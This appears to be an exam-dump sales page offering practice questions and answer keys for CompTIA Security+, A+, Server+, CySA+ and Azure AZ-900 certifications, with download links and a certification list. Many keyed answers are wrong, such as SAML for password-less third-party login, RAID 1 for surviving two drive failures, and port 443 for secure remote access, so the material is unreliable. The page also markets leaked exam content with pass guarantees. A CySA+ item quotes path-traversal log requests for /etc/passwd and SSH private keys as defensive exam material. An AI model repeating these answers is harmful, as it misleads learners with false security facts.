SY0-601 dumps [Updated 2022] Preparing for the CompTIA Security+ exam

CompTIA Security plus 2022

SY0-601 dumps have been updated to prepare for the CompTIA Security+ certification exam.

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Answers are announced at the end of the article

QUESTION 1:

A security analyst is performing a packet capture on a series of SOAP HTTP requests for a security assessment. The analyst redirects the output to a file After the capture is complete, the analyst needs to review the first transactions quickly and then search the entire series of requests for a particular string Which of the following would be the BEST to use to accomplish the task? (Select TWO).

A. head
B. Tcpdump
C. grep
D. rail
E. curl
F. openssi
G. dd

QUESTION 2:

The facilities supervisor for a government agency is concerned about unauthorized access to environmental systems in the event the staff WiFi network is breached. Which of the blowing would BEST address this security concern?

A. install a smart meter on the staff WiFi.
B. Place the environmental systems in the same DHCP scope as the staff WiFi.
C. Implement Zigbee on the staff WiFi access points.
D. Segment the staff WiFi network from the environmental system’s network.

QUESTION 3:

Users at organizations have been installing programs from the internet on their workstations without first proper authorization. The organization maintains a portal from which users can install standardized programs. However, some users have administrative access to their workstations to enable legacy programs to function properly. Which of the following should the security administrator consider implementing to address this issue?

A. Application code signing
B. Application whitelisting
C. Data loss prevention
D. Web application firewalls

QUESTION 4:

A software developer needs to perform code-execution testing, black-box testing, and non-functional testing on a new product before its general release. Which of the following BEST describes the tasks the developer is conducting?

A. Verification
B. Validation
C. Normalization
D. Staging

QUESTION 5:

A security analyst needs to perform periodic vulnerability scans on production systems. Which of the following scan Types would produce the BEST vulnerability scan report?

A. Port
B. Intrusive
C. Host discovery
D. Credentialed

QUESTION 6:

A cybersecurity analyst needs to implement secure authentication to third-party websites without users\’ passwords.
Which of the following would be the BEST way to achieve this objective?

A. OAuth
B. SSO
C. SAML
D. PAP

QUESTION 7:

A company is required to continue using legacy software to support a critical service. Which of the following BEST explains a risk of this practice?

A. Default system configuration
B. Unsecure protocols
C. Lack of vendor support
D. Weak encryption

QUESTION 8:

A company has discovered unauthorized devices are using its WiFi network, and it wants to harden the access point to improve security.
Which of the following configuration should an analyst enable to improve security? (Select Two)

A. RADIUS
B. PEAP
C. WPS
D. WEP-TKIP
E. SSL
F. WPA2-PSK

QUESTION 9:

A cybersecurity administrator needs to add disk redundancy for a critical server. The solution must have a two-drive failure for better fault tolerance. Which of the following RAID levels should the administrator select?

A. 0
B. 1
C. 5
D. 6

QUESTION 10:

A smart retail business has a local store and a newly established and growing online storefront. A recent storm caused a power outage to the business and the local ISP, resulting in several hours of lost sales and delayed order processing.
The business owner now needs to ensure two things:
1.
Protection from power outages
2.
Always-available connectivity In case of an outage
The owner has decided to implement battery backups for the computer equipment Which of the following would BEST fulfill the owner\’s second need?

A. Lease a point-to-point circuit to provide dedicated access.
B. Connect the business router to its own dedicated UPS.
C. Purchase services from a cloud provider for high availability
D. Replace the business\’s wired network with a wireless network.

QUESTION 11:

An organization is concerned about intellectual property theft by employees who leaves the organization. Which of the following will be the organization MOST likely to implement?

A. CBT
B. NDA
C. MOU
D. AUP

QUESTION 12:

Given the following logs:

Which of the following BEST describes the type of attack that is occurring?

A. Rainbow table
B. Dictionary
C. Password spraying
D. Pass-the-hash

QUESTION 13:

Ann, a customer, received a notification from her mortgage company stating her PII may be shared with partners, affiliates, and associates to maintain day-to-day business operations.
Which of the following documents did Ann receive?

A. An annual privacy notice
B. A non-disclosure agreement
C. A privileged-user agreement
D. A memorandum of understanding

……

Publish the answer:

Number:Answers:Explain:
Q1ACA – “analyst needs to review the first transactions quickly” C – “search the entire series of requests for a particular string”
Q2D
Q3BApplication whitelisting is the practice of specifying an index of approved software applications or executable files that are permitted to be present and active on a computer system. The goal of whitelisting is to protect computers and networks from potentially harmful applications. In general, a whitelist is an index of approved entities. In information security (infosec), whitelisting works best in centrally managed environments, where systems are subject to a consistent workload. https://searchsecurity.techtarget.com/definition/application-whitelisting
Q4A
Q5D
Q6C
Q7B
Q8AF
Q9B
Q10C
Q11B
Q12C
Q13A

[Google Drive] Download the sy0-601 dumps question and answers above:https://drive.google.com/file/d/1_ij2vKQ_V5lWRMAfyPhC_vzDXyIPfzHI/

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Dumps materials are available to help you successfully pass the objective exam. To pass the CompTIA Security+ certification exam today, just download the SY0-601 dumps from https://www.lead4pass.com/sy0-601.html and make sure you pass the exam 100%.

Top 10 Most Popular Cybersecurity Certifications | Provide learning materials

Whether you are a novice or an exam candidate, you can use this article as your learning object, I will share the most popular online complete knowledge and learning materials.

With the advancement of society, the online world has become more and more complex, various network security problems have arisen, and the opportunities for bad actors to steal, damage or destroy are also increasing. The increase in cybercrime is driving the demand for cybersecurity professionals.
The job outlook for studying cybersecurity has grown accordingly.

Do you know that there is a lot of network security knowledge in this world, if you are a novice, you will be confused about how to choose. Below I will share a picture of the most popular network security certification in the world, if you don’t know how to do it, then choose the most popular, This is definitely not wrong.

The following table shows more than 300 different cybersecurity certifications searched on three popular recruiting sites, LinkedIn, Indeed, and Simply Hired, and these 10 certifications appear the most in total U.S. job listings (The data is from last year and is for reference only.)

source: https://www.coursera.org/articles/popular-cybersecurity-certifications

1.Certified Information Systems Security Professional (CISSP)

Earning a CISSP demonstrates your ability to effectively design, implement, and manage a best-in-class cybersecurity program.

https://www.isc2.org/Certifications/CISSP

Provide learning materials:

CISSP practice test:examfast.com
PDF + VCE download: https://www.lead4pass.com/

2. Certified Information Systems Auditor (CISA)

Prove your expertise in IS/IT auditing, controls and security and rank among the most qualified in the industry.

https://www.isaca.org/credentialing/cisa

Provide learning materials:

CISA practice test: examfast.com
PDF + VCE download: https://www.lead4pass.com/

3. Certified Information Security Manager (CISM)

ISACA Certified Information Security Manager (CISM) certification demonstrates expertise in information security governance, project development and management, incident management, and risk management.

CISM work practices are valid until 31 May 2022

Updated CISM exam content syllabus effective from 1 June 2022

https://www.isaca.org/credentialing/cism

Provide learning materials:

CISM practice test: micvce.com
PDF + VCE download: https://www.lead4pass.com/

4. Security+

CompTIA Security+ is a global certification that validates the essential skills required to perform core security functions and pursue a career in IT security.

https://www.comptia.org/certifications/security

Provide learning materials:

Security+ practice test: braindump4it.com
PDF + VCE download: https://www.lead4pass.com/

5. Certified Ethical Hacker (CEH)

Certified Ethical Hacker CEH v11 will teach you the latest commercial-grade hacking tools, techniques, and methods that hackers and information security professionals use to break into organizations legally.

https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/

Provide learning materials:

CEH practice test: latestvce.com
PDF + VCE download: https://www.lead4pass.com/

6. GIAC Security Essentials Certification (GSEC)

The GIAC Security Fundamentals (GSEC) certification validates a practitioner’s knowledge of information security, not just simple terms and concepts.

https://www.giac.org/certifications/security-essentials-gsec/

Provide learning materials:

GSEC practice test: no
PDF + VCE download: no

7.Systems Security Certified Practitioner (SSCP)

Implement, monitor and manage IT infrastructure using security best practices, policies and procedures developed by (ISC)²’s cybersecurity experts.

https://www.isc2.org/Certifications/SSCP

Provide learning materials:

SSCP practice test: no
PDF download: https://drive.google.com/file/d/1-HW8f-R1b2-m5l99Y8mUD0U1bP-S_TAE/view?usp=sharing
PDF + VCE download: https://www.lead4pass.com/

8. CompTIA Advanced Security Practitioner (CASP+)

CompTIA Advanced Security Practitioner (CASP+) is an advanced cybersecurity certification for security architects and senior security engineers responsible for leading and improving enterprise cybersecurity readiness.

https://www.comptia.org/certifications/comptia-advanced-security-practitioner

Provide learning materials:

CASP+ practice test: braindump4it.com
PDF + VCE download: https://www.lead4pass.com/

9. GIAC Certified Incident Handler (GCIH)

The GIAC Incident Handler certification verifies a practitioner’s ability to detect, respond to, and resolve computer security incidents using a broad range of fundamental security skills.

https://www.giac.org/certifications/certified-incident-handler-gcih/

Provide learning materials:

GCIH practice test: no
PDF Download: https://drive.google.com/file/d/1sBIEb96vghkRmlbD-gLhjigSAw9dHiAi/view?usp=sharing
PDF + VCE download: no

10. Offensive Security Certified Professional (OSCP)

Offensive Security’s OSCP has become one of the most sought-after certifications for penetration testers. This exam tests your ability to compromise a range of targeted computers using multiple exploitation steps and generates a detailed penetration test report for each attack.

https://www.offensive-security.com/pwk-oscp/

Provide learning materials:

OSCP practice test: no
PDF + VCE download: no
PDF + VCE download: no

Is Cybersecurity Certification Worth It?

A survey by (ISC)² found that 70% of cybersecurity professionals surveyed in the U.S. require employer certification.
According to the same study, security certifications can also lead to big pay raises. The right credentials can also make you more attractive to recruiters and hiring managers alike.

P.s. Latest Updated CompTIA Security+ 2022 Exam Questions and Answers

QUESTION 1:

A company\’s Chief Information Security Officer (CISO) recently warned the security manager that the company\’s Chief Executive Officer (CEO) is planning to publish a controversial option article in a national newspaper, which may result in new cyberattacks Which of the following would be BEST for the security manager to use in a threat mode?

A. Hacktivists
B. White-hat hackers
C. Script kiddies
D. Insider threats

Correct Answer: A

Hacktivists – “a person who gains unauthorized access to computer files or networks in order to further social or political ends.”

QUESTION 2:

A security analyst reviews the datacenter access logs for a fingerprint scanner and notices an abundance of errors that correlate with users\’ reports of issues accessing the facility. Which of the following MOST likely the cause of the cause of the access issues?

A. False rejection
B. Cross-over error rate
C. Efficacy rale
D. Attestation

Correct Answer: A

where a legitimate user is not recognized. This is also referred to as a Type I error or false non-match rate (FNMR). FRR is measured as a percentage.

QUESTION 3:

A security analyst notices several attacks are being blocked by the NIPS but does not see anything on the boundary firewall logs. The attack seems to have been thwarted Which of the following resiliency techniques was applied to the network to prevent this attack?

A. NIC Teaming
B. Port mirroring
C. Defense in depth
D. High availability
E. Geographic dispersal

Correct Answer: C

QUESTION 4:

An organization suffered an outage and a critical system took 90 minutes to come back online. Though there was no data loss during the outage, the expectation was that the critical system would be available again within 60 minutes.
Which of the following is the 60- minute expectation an example of:

A. MTBF
B. RPO
C. MTTR
D. RTO

Correct Answer: D
https://www.enterprisestorageforum.com/management/rpo-and-rto-understanding-the-differences/

QUESTION 5:

A backdoor was detected on the containerized application environment. The investigation detected that a zero-day vulnerability was introduced when the latest container image version was downloaded from a public registry. Which of the following is the BEST solution to prevent this type of incident from occurring again?

A. Deploy an IPS solution capable of detecting signatures of attacks targeting containers
B. Define a vulnerability scan to assess container images before being introduced on the environment
C. Create a dedicated VPC for the containerized environment

Correct Answer: A

QUESTION 6:

Which of the following describes the BEST approach for deploying application patches?

A. Apply the patches to systems in a testing environment then to systems in a staging environment, and finally to production systems.

B. Test the patches in a staging environment, develop against them in the development environment, and then apply them to the production systems

C. Test the patches m a test environment apply them to the production systems and then apply them to a staging environment

D. Apply the patches to the production systems apply them in a staging environment, and then test all of them in a testing environment

Correct Answer: A

QUESTION 7:

A security engineer has enabled two-factor authentication on all workstations. Which of the following approaches are the MOST secure? (Select TWO).

A. Password and security question
B. Password and CAPTCHA
C. Password and smart card
D. Password and fingerprint
E. Password and one-time token
F. Password and voice

Correct Answer: CD

QUESTION 8:

A security assessment found that several embedded systems are running unsecure protocols. These Systems were purchased two years ago and the company that developed them is no longer in business Which of the following constraints BEST describes the reason the findings cannot be remediated?

A. inability to authenticate
B. Implied trust
C. Lack of computing power
D. Unavailable patch

Correct Answer: D

QUESTION 9:

A company was compromised, and a security analyst discovered the attacker was able to get access to a service account. The following logs were discovered during the investigation:

Which of the following MOST likely would have prevented the attacker from learning the service account name?

A. Race condition testing
B. Proper error handling
C. Forward web server logs to a SIEM
D. Input sanitization

Correct Answer: B

QUESTION 10:

A security analyst is reviewing the following command-line output: Which of the following Is the analyst observing?

A. IGMP spoofing
B. URL redirection
C. MAC address cloning
D. DNS poisoning

Correct Answer: C

QUESTION 11:

To further secure a company\’s email system, an administrator is adding public keys to DNS records in the company\’s domain Which of the following is being used?

A. PFS
B. SPF
C. DMARC
D. DNSSEC

Correct Answer: D

QUESTION 12:

Which of the following would be the BEST method for creating a detailed diagram of wireless access points and hot-spots?

A. Footprinting
B. White-box testing
C. A drone/UAV
D. Pivoting

Correct Answer: A

QUESTION 13:

After a WiFi scan of a local office was conducted, an unknown wireless signal was identified Upon investigation, an unknown Raspberry Pi device was found connected to an Ethernet port using a single connection. Which of the following BEST describes the purpose of this device?

A. Evil twin
B. Rogue access point
C. On-path attack

Correct Answer: B

……

CompTIA Security+ 2022 Exam Questions and Answers Online Download: https://drive.google.com/file/d/1lJ911sJMs1cOPYD3MCKznr89c5s5KTn5/view?usp=sharing

View 572 Exam Questions And Answers

Real Dumps Questions For 220-1002 Exam CompTIA A+ Certification: Core 2

The CompTIA 220-1002 exam is related to the CompTIA A+ Certification: Core 2,
It tests your operating system installation and configuration, extended security, software troubleshooting, and operating procedures. The new CompTIA 220-1002 dumps questions are real and help you test questions covering the knowledge points and skills tested.
Real dumps questions are online to ensure you can pass the 220-1002 CompTIA A+ Certification: Core 2 exam on the first try.

Try to test CompTIA A+ 220-1002 free dumps.

QUESTION 1:

The IT department has installed new software in the folder C:\Program Files\Business Application. Ann, a user, runs the business application and tries to save her work. When doing so, Ann receives the following error:
Cannot save file C: \Program Files\Business Application\file1.wrk ?Access is denied.
Which of the following would be the MOST secure solution to this error?

A. Add Ann to the local Power Users group
B. Set the software to save to the %APPDATA% folder
C. Add Ann to the local administrator group
D. Give Ann write access to C:\Program Files\
E. Give Ann permission to elevate her permissions through a UAC prompt

Correct Answer: E

QUESTION 2:

A user is unable to open a document on a shared drive from a Linux workstation. Which of the following commands would help the user gain access to the document?

A. chmod
B. lfconfig
C. pwd
D. grep

Correct Answer: A

QUESTION 3:

A technician determines a newly installed service is keeping a device from functioning in Windows. Which of the following tools should the technician use to keep the service from being loaded on the PC reboot?

A. Task Scheduler
B. MSINFO32
C. System Restore
D. MSConfig

Correct Answer: D

QUESTION 4:

A user lives in a location that experiences frequent lightning storms. Which of the following would be the LEAST expensive solution to protect the user\’s computer hardware?

A. A surge protector
B. Grounding
C. A power generator
D. An uninterruptible power supply

Correct Answer: B

QUESTION 5:

During a network server outage, the administrator’s computer received an IP address of 169.254.0.10 and had no access to internal or external resources. Which of the following should be configured to ensure the administrator\’s computer retains network access?

A. Alternative IP address
B. Wake-on-LAN
C. APIPA
D. Proxy setting

Correct Answer: A

QUESTION 6:

A technician installed a new video card into a computer but did not connect the second monitor. When the technician boots the computer, it shows a blue screen during boot and automatically restarts.
The technician is able to boot into safe mode successfully.
Which of the following would MOST likely resolve the issue?

A. Install the second monitor.
B. Replace the video card
C. Install updated video drivers.
D. Disable the antivirus.

Correct Answer: A

QUESTION 7:

Which of the following BEST describes the purpose of an ESD mat?

A. Protects against accidental static discharge
B. Protects against dust/dirt contamination
C. Protects against accidental scratches
D. Protects against accidental water damage

Correct Answer: A

QUESTION 8:

A systems administrator created a policy that should create a shortcut on a user\’s desktop Shortly after the policy was created, a technician inspects the user\’s desktop and notices the shortcut is not present. The administrator verifies that the policy was created correctly and that it is being applied to the user\’s account.
Which of the following will MOST likely resolve the issue Immediately without interrupting the user\’s session?

A. gpupdate /force
B. gpupdate /boot
C. gpupdate /logoff
D. gpupdate /target:computer

Correct Answer: A

QUESTION 9:

Which of the following operating systems has versions for servers, workstations, and phones?

A. Android
B. iOS
C. Chrome OS
D. Windows

Correct Answer: D

QUESTION 10:

Joe, an end-user, has been prompted to provide his username and password to access the payroll system.
Which of the following authentication methods is being requested?

A. Single-factor
B. Multifactor
C. RADIUS
D. TACACS

Correct Answer: A

QUESTION 11:

A security director is designing a company\’s disaster recovery procedure. The information security officer wants the servers to continue to function during short power outages, and important documents should be stored off-site in case of a catastrophe at the data center.
Which of the following would BEST fulfill these requirements? (Choose two.)

A. Power distribution unit
B. UPS
C. Cloud storage
D. Surge protector
E. Local file replication
F. RAID

Correct Answer: BC

QUESTION 12:

Ann, an employee, has been trying to use a company-issued mobile device to access an internal file share while traveling abroad. She restarted the device due to a mobile OS update, but she is now unable to access company information Ann calls the help desk for assistance, and a technician verifies she can make calls and access websites
Which of the following should the technician suggest NEXT to try to fix the issue?

A. Navigate to the VPN profile in the device settings,delete the pre-shared key. and restart the device
B. Instruct Ann to open the company\’s MDM application to ensure proper functionality
C. Navigate to the corporate intranet page and use hyperlinks to access the file share.
D. Instruct Ann to disable TLS 1.0 in the device settings

Correct Answer: A

QUESTION 13:

Which of the following are methods used to prevent an unauthorized computer from establishing a connection as a node on a corporate network? (Select TWO.)

A. Port security
B. Anti-malware
C. Certificate
D. IDS
E. Firewall
F. Captive portal

Correct Answer: AE

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SK0-005 Dumps Update V14.02 Guaranteed CompTIA Server+ Exam Pass

comptia server+ exam

Why use SK0-005 dumps V14.02? SK0-005 Dumps V14.02 comprehensive update contains 122 practical and valid exam questions and answers and provides problem analysis, which really helps you learn knowledge and successfully pass the CompTIA Server+ Exam. SK0-005 Dumps V14.02 exam preparation materials: https://www.lead4pass.com/sk0-005.html, Lead4Pass provides both PDF and VCE study methods, both reviewed and certified by our experts, Guaranteeing you can confidently prepare for the CompTIA Server+ exam and succeed on your first try.

SK0-005 Free dumps to help you learn part

The questions for SK0-005 were last updated on April 23, 2022.

Viewing questions 1-13 out of 122 questions:

QUESTION 1:

Which of the following is a method that is used to prevent motor vehicles from getting too close to building entrances and exits?

A. Bollards
B. Reflective glass
C. Security guards
D. Security cameras

Correct Answer: A
Reference: https://en.wikipedia.org/wiki/Bollard

QUESTION 2:

A server is reporting a hard drive S.M.A.R.T. error. When a technician checks on the drive, however, it appears that all drives in the server are functioning normally. Which of the following is the reason for this issue?

A. A S.M.A.R.T. error is a predictive failure notice. The drive will fail in the near future and should be replaced at the next earliest time possible

B. A S.M.A.R.T. error is a write operation error. It has detected that the write sent to the drive was incorrectly formatted and has requested retransmission of the write from the controller

C. A S.M.A.R.T. error is simply a bad sector. The drive has marked the sector as bad and will continue to function properly

D. A S.M.A.R.T. error is an ECC error. Due to error checking and correcting, the drive has corrected the missing bit and completed the write operation correctly.

Correct Answer: C
Reference: https://www.backblaze.com/blog/what-smart-stats-indicate-hard-drive-failures/

QUESTION 3:

A technician is configuring a server that requires secure remote access. Which of the following ports should the technician use?

A. 21
B. 22
C. 23
D. 443

Correct Answer: D
Reference:
https://docs.microsoft.com/en-us/windows-server/remote/remote-access/ras/manage-remote-clients/install/step-1-configure-the-remote-access-infrastructure

QUESTION 4:

A Syslog server is configured to use UDP port 514. The administrator uses Telnet to check port 514 against the Syslog server. However, the Syslog server is not responding. Which of the following is the MOST likely reason why the Syslog server is not responding?

A. The Syslog server is down.
B. Telnet does not work on UDP.
C. The firewall is blocking UDP port 514
D. The log is full on the Syslog server.

Correct Answer: B

QUESTION 5:

A systems administrator is setting up a new server that will be used as a DHCP server. The administrator installs the OS but is then unable to log on using Active Directory credentials. The administrator logs on using the local administrator account and verifies the server has the correct IP address, subnet mask, and default gateway. The administrator then gets on another server and can ping the new server. Which of the following is causing the issue?

A. Port 443 is not open on the firewall
B. The server is experiencing a downstream failure
C. The local hosts file is blank
D. The server is not joined to the domain

Correct Answer: D

QUESTION 6:

Which of the following would MOST likely be part of the user authentication process when implementing SAML across multiple applications?

A. SSO
B. LDAP
C. TACACS
D. MFA

Correct Answer: A
Reference: https://www.onelogin.com/learn/how-single-sign-on-works

QUESTION 7:

A server technician is installing a Windows server OS on a physical server. The specifications for the installation call for a 4TB data volume. To ensure the partition is available to the OS, the technician must verify the:

A. hardware is UEFI compliant
B. volume is formatted as GPT
C. volume is formatted as MBR
D. volume is spanned across multiple physical disk drives

Correct Answer: A

QUESTION 8:

Users in an office lost access to a file server following a short power outage. The server administrator noticed the server was powered off. Which of the following should the administrator do to prevent this situation in the future?

A. Connect the server to a KVM
B. Use cable management
C. Connect the server to a redundant network
D. Connect the server to a UPS

Correct Answer: D

QUESTION 9:

A server administrator needs to harden a server by only allowing secure traffic and DNS inquiries. A port scan reports the following ports are open:

A. 21
B. 22
C. 23
D. 53
E. 443
F. 636

Correct Answer: D
Reference: https://tools.cisco.com/security/center/resources/dns_best_practices

QUESTION 10:

Which of the following actions should a server administrator take once a new backup scheme has been configured?

A. Overwrite the backups
B. Clone the configuration
C. Run a restore test
D. Check the media integrity

Correct Answer: D

QUESTION 11:

Which of the following backup types only records changes to the data blocks on a virtual machine?

A. Differential
B. Snapshot
C. Incremental
D. Synthetic full

Correct Answer: C
Reference: https://searchdatabackup.techtarget.com/definition/incremental-backup

QUESTION 12:

A company\’s IDS has identified outbound traffic from one of the web servers coming over port 389 to an outside address. This server only hosts websites. The company\’s SOC administrator has asked a technician to harden this server. Which of the following would be the BEST way to complete this request?

A. Disable port 389 on the server
B. Move traffic from port 389 to port 443
C. Move traffic from port 389 to port 637
D. Enable port 389 for web traffic

Correct Answer: C

Reference: https://www.auditmypc.com/tcp-port-637.asp https://docs.microsoft.com/en-us/answers/questions/66908/is-port-389-on-ad-in-anyway-used-or-required- when.html

QUESTION 13:

A technician needs to set up a server backup method for some systems. The company\’s management team wants to have quick restores but minimize the amount of backup media required. Which of the following are the BEST backup methods to use to support the management\’s priorities? (Choose two.)

A. Differential
B. Synthetic full
C. Archive
D. Full
E. Incremental
F. Open file

Correct Answer: AB

……


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CS0-002 Dumps [2022] Prep for CompTIA CySA+ Exam

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The questions for CS0-002 were last updated on April 24, 2022.

Viewing questions 1-12 out of 769 questions:

QUESTION 1:

A security analyst has received information from a third-party intelligence-sharing resource that indicates employee accounts were breached. Which of the following is the NEXT step the analyst should take to address the issue?

A. Audit access permissions for all employees to ensure the least privilege.
B. Force a password reset for the impacted employees and revoke any tokens.
C. Configure SSO to prevent passwords from going outside the local network.
D. Set up privileged access management to ensure auditing is enabled.

Correct Answer: B

QUESTION 2:

An organization used a third party to conduct a security audit and discovered several deficiencies in the cybersecurity program. The findings noted many external vulnerabilities that were not caught by the vulnerability scanning software, numerous weaknesses that allowed lateral movement, and gaps in monitoring that did not detect the activity of the auditors. Based on these findings, which of the following would be the BEST long-term enhancement to the security program?

A. Quarterly external penetration testing
B. Monthly tabletop scenarios
C. Red-team exercises
D. Audit exercises

Correct Answer: D

QUESTION 3:

A cybersecurity analyst is supporting an incident response effort via threat intelligence. Which of the following is the analyst MOST likely executing?

A. Requirements analysis and collection planning
B. Containment and eradication
C. Recovery and post-incident review
D. Indicator enrichment and research pivoting

Correct Answer: A

QUESTION 4:

An analyst is participating in the solution analysis process for a cloud-hosted SIEM platform to centralize log monitoring and alerting capabilities in the SOC. Which of the following is the BEST approach for supply chain assessment when selecting a vendor?

A. Gather information from providers, including data center specifications and copies of audit reports.
B. Identify SLA requirements for monitoring and logging.
C. Consult with senior management for recommendations.
D. Perform a proof of concept to identify possible solutions.

Correct Answer: B

QUESTION 5:

In web application scanning, static analysis refers to scanning:

A. the system for vulnerabilities before installing the application.
B. the compiled code of the application to detect possible issues.
C. an application that is installed and active on a system.
D. an application that is installed on a system that is assigned a static IP.

Correct Answer: A
Reference: https://whatis.techtarget.com/definition/static-analysis-static-code-analysis

QUESTION 6:

During an incident, a cybersecurity analyst found several entries in the web server logs that are related to an IP with a bad reputation. Which of the following would cause the analyst to further review the incident?

A. BadReputationIp – – [2019-04-12 10:43Z] “GET /etc/passwd” 403 1023
B. BadReputationIp – – [2019-04-12 10:43Z] “GET /index.html?src=../.ssh/id_rsa” 401 17044
C. BadReputationIp – – [2019-04-12 10:43Z] “GET /a.php?src=/etc/passwd” 403 11056
D. BadReputationIp – – [2019-04-12 10:43Z] “GET /a.php?src=../../.ssh/id_rsa” 200 15036
E. BadReputationIp – – [2019-04-12 10:43Z] “GET /favicon.ico?src=../usr/share/ icons” 200 19064

Correct Answer: D

QUESTION 7:

A company\’s data is still being exfiltered to business competitors after the implementation of a DLP solution. Which of the following is the most likely reason why the data is still being compromised?

A. Printed reports from the database contain sensitive information
B. DRM must be implemented with the DLP solution
C. Users are not labeling the appropriate data sets
D. DLP solutions are only effective when they are implemented with disk encryption

Correct Answer: B
Reference: https://www.vaultize.com/blog/-enterprise-drm-and-dlp-are-amazing-together.html

QUESTION 8:

A large organization wants to move account registration services to the cloud to benefit from faster processing and elasticity. Which of the following should be done FIRST to determine the potential risk to the organization?

A. Establish a recovery time objective and a recovery point objective for the systems being moved
B. Calculate the resource requirements for moving the systems to the cloud
C. Determine recovery priorities for the assets being moved to the cloud-based systems
D. Identify the business processes that will be migrated and the criticality of each one
E. Perform an inventory of the servers that will be moving and assign priority to each one

Correct Answer: D

QUESTION 9:

Which of the following attacks can be prevented by using output encoding?

A. Server-side request forgery
B. Cross-site scripting
C. SQL injection
D. Command injection
E. Cross-site request forgery
F. Directory traversal

Correct Answer: B

QUESTION 10:

During an investigation, a security analyst determines suspicious activity occurred during the night shift over the weekend. Further investigation reveals the activity was initiated from an internal IP going to an external website. Which of the following would be the MOST appropriate recommendation to prevent the activity from happening in the future?

A. An IPS signature modification for the specific IP addresses
B. An IDS signature modification for the specific IP addresses
C. A firewall rule that will block port 80 traffic
D. A firewall rule that will block traffic from the specific IP addresses

Correct Answer: D

QUESTION 11:

The Chief Information Officer (CIO) for a large manufacturing organization has noticed a significant number of unknown devices with possible malware infections are on the organization\’s corporate network. Which of the following would work BEST to prevent the issue?

A. Reconfigure the NAC solution to prevent access based on a full device profile and ensure antivirus is installed.
B. Segment the network to isolate all systems that contain highly sensitive information, such as intellectual property.
C. Implement certificate validation on the VPN to ensure only employees with the certificate can access the company network.
D. Update the antivirus configuration to enable behavioral and real-time analysis on all systems within the network.

Correct Answer: A

QUESTION 12:

A development team is testing a new application release. The team needs to import existing client PHI data records from the production environment to the test environment to test accuracy and functionality. Which of the following would BEST protect the sensitivity of this data while still allowing the team to perform the testing?

A. Deidentification
B. Encoding
C. Encryption
D. Watermarking

Correct Answer: A

……


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Exam AZ-900: Microsoft Azure Fundamentals: https://docs.microsoft.com/en-us/learn/certifications/exams/az-900

This exam is designed for candidates looking to demonstrate foundational-level knowledge of cloud services and how those services are
provided with Microsoft Azure. The exam is intended for candidates with non-technical backgrounds, such as those involved in selling
or purchasing cloud based solutions and services, or who have some involvement with cloud based solutions and services,
as well as those with a technical background who have a need to validate their foundational-level knowledge around cloud services.
Technical IT experience is not required, however, some general IT knowledge or experience would be beneficial.

Skills measured

  • The content of this exam will be updated on May 28, 2020. NOTE: the updates that were announced prior to April 15, 2020 will be implemented on September 15, 2020. The updates now planned for May 28 are minor updates to wording; please download the skills measured document below to see what will be changing on May 28.
  • Understand cloud concepts (15-20%)
  • Understand core Azure services (30-35%)
  • Understand security, privacy, compliance, and trust (25-30%)
  • Understand Azure pricing and support (20-25%)

Latest updates Microsoft AZ-900 exam practice questions

QUESTION 1
This question requires that you evaluate the underlined text to determine if it is correct.
Authorization is the process of verifying a user\\’s credentials.
Instructions: Review the underlined text. If it makes the statement correct, select “No change is needed”. If the
the statement is incorrect, select the answer choice that makes the statement correct.
A. No change is needed
B. Authentication
C. Federation
D. Ticketing
Correct Answer: B

QUESTION 2
This question requires that you evaluate the underlined text to determine if it is correct.
Azure policies provide a common platform for deploying objects to cloud infrastructure and for implementing
consistency across the Azure environment.
Instructions: Review the underlined text. If it makes the statement correct, select “No change is needed”. If the statement is incorrect, select the answer choice that makes the statement correct.
A. No change is needed
B. Resource groups provide
C. Azure Resource Manager provides
D. Management groups provide
Correct Answer: C

QUESTION 3
Your company plans to deploy an Artificial Intelligence (AI) solution in Azure.
What should the company use to build, test, and deploy predictive analytics solutions?
A. Azure Logic Apps
B. Azure Machine Learning Studio
C. Azure Batch
D. Azure Cosmos DB
Correct Answer: B

QUESTION 4
You plan to store 20 TB of data in Azure. The data will be accessed infrequently and visualized by using Microsoft
Power BI.
You need to recommend a storage solution for the data.
Which two solutions should you recommend? Each correct answer presents a complete solution.
NOTE: Each correct selection is worth one point.
A. Azure Data Lake
B. Azure Cosmos DB
C. Azure SQL Data Warehouse
D. Azure SQL Database
E. Azure Database for PostgreSQL
Correct Answer: AC

QUESTION 5
This question requires that you evaluate the underlined text to determine if it is correct.
An Azure region contains one or more data centers that are connected by using a low-latency network.
Instructions: Review the underlined text. If it makes the statement correct, select “No change is needed”. If the
statement is incorrect, select the answer choice that makes the statement correct.
A. No change is needed
B. Is found in each country where Microsoft has a subsidiary office
C. Can be found in every country in Europe and the Americas only
D. Contains one or more data centers that are connected by using a high-latency network
Correct Answer: A

QUESTION 6
You plan to migrate several servers from an on-premises network to Azure.
You need to identify the primary benefit of using a public cloud service for the servers.
What should you identify?
A. The public cloud is owned by the public, NOT a private corporation
B. The public cloud is a crowd-sourcing solution that provides corporations with the ability to enhance the cloud
C. All public cloud resources can be freely accessed by every member of the public
D. The public cloud is a shared entity whereby multiple corporations each use a portion of the resources in the cloud
Correct Answer: D

QUESTION 7
This question requires that you evaluate the underlined text to determine if it is correct.
All Azure services that are in public preview are provided without any documentation.
Instructions: Review the underlined text. If it makes the statement correct, select “No change is needed”. If the
statement is incorrect, select the answer choice that makes the statement correct.
A. No change is needed.
B. only configurable from Azure CLI
C. excluded from the Service Level Agreements
D. only configurable from the Azure portal
Correct Answer: C
Preview features are made available to you on the condition that you accept additional terms which supplement the
regular Azure terms. The supplemental terms state:
“PREVIEWS ARE PROVIDED “AS-IS,” “WITH ALL FAULTS,” AND “AS AVAILABLE,” AND ARE EXCLUDED FROM
THE SERVICE LEVEL AGREEMENTS AND LIMITED WARRANTY.”
References:
https://azure.microsoft.com/en-gb/support/legal/preview-supplemental-terms/

QUESTION 8
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear on the review screen.
You have an Azure subscription named Subscription1. You sign in to the Azure portal and create a resource group
named RG1.
From Azure documentation, you have the following command that creates a virtual machine named VM1.
az VM create –resource-group RG1 –name VM1 — image
UbuntuLTS –generate-ssh-keys
You need to create VM1 in Subscription1 by using the command.
Solution: From a computer that runs Windows 10, install Azure CLI. From PowerShell, sign in to Azure and then run the
command.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 9
What is required to use Azure Cost Management?
A. a Dev/Test subscription
B. Software Assurance
